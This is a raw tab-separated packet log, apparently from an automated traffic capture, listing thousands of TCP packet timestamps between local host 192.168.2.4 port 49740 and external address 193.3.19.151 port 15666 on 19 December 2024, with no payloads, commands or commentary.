Dec 19, 2024 08:11:59.854037046 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.854068995 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.854094028 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.854224920 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.854234934 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.854274988 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.854338884 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.854350090 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.854392052 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.854567051 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.854577065 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.854625940 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.854630947 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.854660988 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.854671001 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.854708910 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.854788065 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.854806900 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.854851961 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.854959965 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.855005980 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.855024099 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.855067015 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.855125904 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.855138063 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.855176926 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.855214119 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.855223894 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.855264902 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.855292082 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.855300903 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.855336905 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.855433941 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.855478048 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.855492115 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.855540991 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.855577946 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.855587959 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.855626106 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.855679989 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.855735064 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.855739117 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.855799913 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.855845928 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.855845928 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.855959892 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.855988026 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.856065989 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.856112003 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.856153011 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.856162071 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.856203079 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.856282949 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.856292009 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.856338024 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.856389046 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.856399059 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.856523991 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.856534004 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.856538057 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.856571913 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.856659889 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.856708050 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.856741905 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.856782913 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.856854916 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.856864929 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.856913090 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.856981993 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.856992960 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.857039928 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.857131004 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.857173920 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.857225895 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.857336998 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.857346058 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.857381105 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.857383013 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.857391119 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.857434034 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.857506037 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.857618093 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.857619047 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.857645035 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.857688904 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.857739925 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.857805014 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.857935905 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858033895 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858042955 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858051062 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858086109 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.858201981 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858211994 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858253002 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.858320951 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858330965 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858371019 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.858458996 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858468056 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858515024 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.858531952 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858541965 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858581066 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.858604908 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858613968 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858655930 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.858675003 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858715057 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.858788013 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858798027 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858805895 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858835936 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.858840942 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858850002 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858858109 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.858887911 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.858915091 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.858921051 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858931065 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.858973026 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.859064102 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859072924 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859111071 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.859122038 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859131098 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859167099 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.859235048 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859245062 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859282970 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.859308004 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859327078 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859352112 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859361887 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859369993 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.859404087 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.859472990 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859483957 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859502077 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859510899 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859522104 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.859545946 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.859603882 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859612942 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859648943 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.859724998 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859735012 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859781027 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.859828949 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859853029 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859894037 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.859920025 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859930038 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.859968901 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.860052109 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860060930 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860096931 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.860116005 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860136032 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860184908 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.860215902 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860225916 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860263109 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.860265970 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860275984 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860280037 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.860398054 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860407114 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.860409021 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860416889 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860445976 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.860460043 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.860471964 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860496998 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860506058 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860543966 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.860558033 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860568047 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860599041 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.860610962 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.860641003 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860660076 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860678911 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.860692024 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.860775948 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860785961 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860822916 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860830069 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.860898972 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860909939 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.860948086 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.861007929 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861017942 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861026049 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861056089 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.861099958 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861109018 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861143112 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.861188889 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861197948 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861238956 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.861315012 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861325979 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861361027 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.861370087 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.861378908 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861390114 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861427069 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.861489058 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861499071 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861532927 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.861591101 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861623049 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861644030 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.861673117 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861707926 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.861716032 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861752987 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.861768007 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861777067 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861809969 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.861823082 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.861887932 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861896992 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861943007 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.861985922 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.861994982 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862037897 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.862108946 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862118959 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862157106 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.862240076 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862250090 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862287998 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.862292051 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862302065 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862341881 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.862363100 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862373114 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862437010 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.862478971 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862489939 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862536907 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.862565994 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862575054 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862612963 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.862663031 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862672091 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862711906 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.862777948 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862787962 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862826109 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.862838030 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.862904072 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.862998009 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.863051891 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.863094091 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.863154888 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.863245964 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.863255978 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.863265038 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.863293886 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.863311052 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.863389015 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.863399982 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.863444090 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.863540888 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.863550901 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.863595963 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.863598108 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.863607883 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.863643885 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.863713980 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.863723040 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.863745928 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.863763094 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.863775969 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.863801003 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.863831043 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.863884926 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.863897085 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.863945007 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.863982916 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864033937 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864077091 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.864079952 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864108086 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864149094 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.864239931 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864249945 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864288092 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.864306927 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864315987 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864355087 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.864423037 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864432096 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864470959 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.864474058 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864483118 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864521027 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.864610910 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864619970 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864662886 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.864686012 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864806890 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864851952 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.864854097 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864864111 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.864908934 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.864972115 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.865104914 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.865144968 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.865150928 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.865241051 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.865288973 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.865291119 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.865447044 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.865456104 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.865508080 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.865583897 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.865595102 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.865628004 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.865642071 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.865796089 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.865799904 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.865809917 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.865852118 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.865853071 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.865927935 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.865988970 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.866014957 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.866041899 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.866054058 CET	49740	15666	192.168.2.4	193.3.19.151
